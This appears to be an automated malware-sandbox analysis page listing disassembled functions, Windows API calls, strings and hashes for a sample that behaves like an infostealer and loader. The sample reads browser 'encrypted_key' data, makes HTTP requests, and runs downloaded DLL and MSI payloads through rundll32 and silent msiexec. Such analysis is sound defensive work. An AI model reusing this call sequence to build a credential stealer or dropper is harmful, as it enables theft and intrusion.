Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: bf4dae21b37118af5e2dc697c05c0348faf141981ddfd94a0fa891cde0b9e978
Instruction ID: ab53e3178c51fdbd50f3f73c2f1efd02d13d33ccec2fc07260769c142b01dc4b
Opcode Fuzzy Hash: bf4dae21b37118af5e2dc697c05c0348faf141981ddfd94a0fa891cde0b9e978
Instruction Fuzzy Hash: 62E10C76800148AACB19EBA0DC95FEE77B8EF54300F04516AF50673291DE706B87CB65

Function 00ED9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00ED906C

Strings

image/jpeg, xrefs: 00ED9136

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 7277e625821761f0f21b2cad09eaa356c1e6234813221700c01bcb832990ac94
Instruction ID: fed37d08e9ca6a097c4e21ee18005ed1984b36c4592e905516235c0edcd39c0e
Opcode Fuzzy Hash: 7277e625821761f0f21b2cad09eaa356c1e6234813221700c01bcb832990ac94
Instruction Fuzzy Hash: 3771ED75D10208ABDB18DBE4ED89FEEB7B8FF48300F108519F516A7284DB75A945CB60

Function 00ED17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00ED17C5
ExitProcess.KERNEL32 ref: 00ED17D1

Strings

block, xrefs: 00ED17B7

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: f3e0beab641cbf8e19895b7f3e581bf74cf7c5a3d761249e351c9e9a72f6eb38
Instruction ID: d4aabb03f3d95d9ff4f03fc9dd11fe74cc45785be7065076b19780eed6a1b84f
Opcode Fuzzy Hash: f3e0beab641cbf8e19895b7f3e581bf74cf7c5a3d761249e351c9e9a72f6eb38
Instruction Fuzzy Hash: 9E515CB4A00209FBCB08DFA1D964ABE77B5EF84304F14609AE41677340D7B1AA92DB61

Function 00ED2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

ShellExecuteEx.SHELL32(0000003C), ref: 00ED31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00ED335D
ShellExecuteEx.SHELL32(0000003C), ref: 00ED34EA

Strings

/i ", xrefs: 00ED33E4
/passive, xrefs: 00ED345B
<, xrefs: 00ED3490
C:\Windows\system32\msiexec.exe, xrefs: 00ED34BF
.dll, xrefs: 00ED31E5
"" , xrefs: 00ED309A
.msi, xrefs: 00ED3398
C:\Windows\system32\rundll32.exe, xrefs: 00ED3332

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: bc5936a8adc2e70e6856aab7f790c8d332df44b9625fd5d477b3e5fa4267a927
Instruction ID: ec3daabb3cc6a394333b299ec62dc525e10d136d909461e1f71274cbc2a073a9
Opcode Fuzzy Hash: bc5936a8adc2e70e6856aab7f790c8d332df44b9625fd5d477b3e5fa4267a927
Instruction Fuzzy Hash: 66123E768001089ADB19EBA0DD96FEDB7B8EF54300F44516AF50676291EF702B4BCF62

Function 00ED52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC6280: InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
Part of subcall function 00EC6280: StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC6303
Part of subcall function 00EC6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
Part of subcall function 00EC6280: HttpOpenRequestA.WININET(00000000,GET,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC6385
Part of subcall function 00EC6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
Part of subcall function 00EC6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5318
lstrlen.KERNEL32(00000000), ref: 00ED532F

Part of subcall function 00ED8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00ED8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00ED5364
lstrlen.KERNEL32(00000000), ref: 00ED5383
lstrlen.KERNEL32(00000000), ref: 00ED53AE

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

ERROR, xrefs: 00ED546F
ERROR, xrefs: 00ED53B9
ERROR, xrefs: 00ED5432
ERROR, xrefs: 00ED54A9
ERROR, xrefs: 00ED530A

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: a768581fb305779e11e455e2873a12e9bcb230f2eebf28e7401e8f2d49e3c3e7
Instruction ID: f8774a1c2864eda460090d700e28f3a6c2e962b058cb19a8bca6449b8bc9d571
Opcode Fuzzy Hash: a768581fb305779e11e455e2873a12e9bcb230f2eebf28e7401e8f2d49e3c3e7
Instruction Fuzzy Hash: C2511B359101489BCB18FF64D996AED77B9EF10300F54602AF8067A292EF346B47DB62

Function 00ED12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: d912b0b41c6db1c53aa54d4a58ab23319e69f7b363b602e44a3e29aea852120d
Instruction ID: 38eeb85af9bf12c5cb47d5e6e5ef2c2e29b608274f31eac672ab1beb085e09f7
Opcode Fuzzy Hash: d912b0b41c6db1c53aa54d4a58ab23319e69f7b363b602e44a3e29aea852120d
Instruction Fuzzy Hash: ADC196B5D002199BCB18EF60DC89FDA73B8FF54304F0455AAF50A77241EA70AA86CF91

Function 00ED4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED42EC
lstrcat.KERNEL32(?,00A9DF00), ref: 00ED430B
lstrcat.KERNEL32(?,?), ref: 00ED431F
lstrcat.KERNEL32(?,00A9D578), ref: 00ED4333

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00ED8D90: GetFileAttributesA.KERNEL32(00000000,?,00EC1B54,?,?,00EE564C,?,?,00EE0E1F), ref: 00ED8D9F

Part of subcall function 00EC9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00EC9D39

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

Part of subcall function 00ED93C0: GlobalAlloc.KERNEL32(00000000,00ED43DD,00ED43DD), ref: 00ED93D3

StrStrA.SHLWAPI(?,00A9DEA0), ref: 00ED43F3
GlobalFree.KERNEL32(?), ref: 00ED4512

Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9AEF
Part of subcall function 00EC9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B01
Part of subcall function 00EC9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00EC9B2A
Part of subcall function 00EC9AC0: LocalFree.KERNEL32(?,?,?,?,00EC4EEE,00000000,?), ref: 00EC9B3F

lstrcat.KERNEL32(?,00000000), ref: 00ED44A3
StrCmpCA.SHLWAPI(?,00EE08D1), ref: 00ED44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00ED44D2
lstrcat.KERNEL32(00000000,?), ref: 00ED44E5
lstrcat.KERNEL32(00000000,00EE0FB8), ref: 00ED44F4

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: d36b46f7d7ce68aa2ece8f42f493cb59e06dc49fceb770c4608badd761b49770
Instruction ID: 1839c6e94514e44b688851a1fdb2bd9382afb512cfb5d3c830c5cb68c3d8c211
Opcode Fuzzy Hash: d36b46f7d7ce68aa2ece8f42f493cb59e06dc49fceb770c4608badd761b49770
Instruction Fuzzy Hash: 1B7189B6D00208ABCB14FBA0EC85FEE73B9BF48300F045599F515A7181DA75DB56CB91

Function 00ED6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

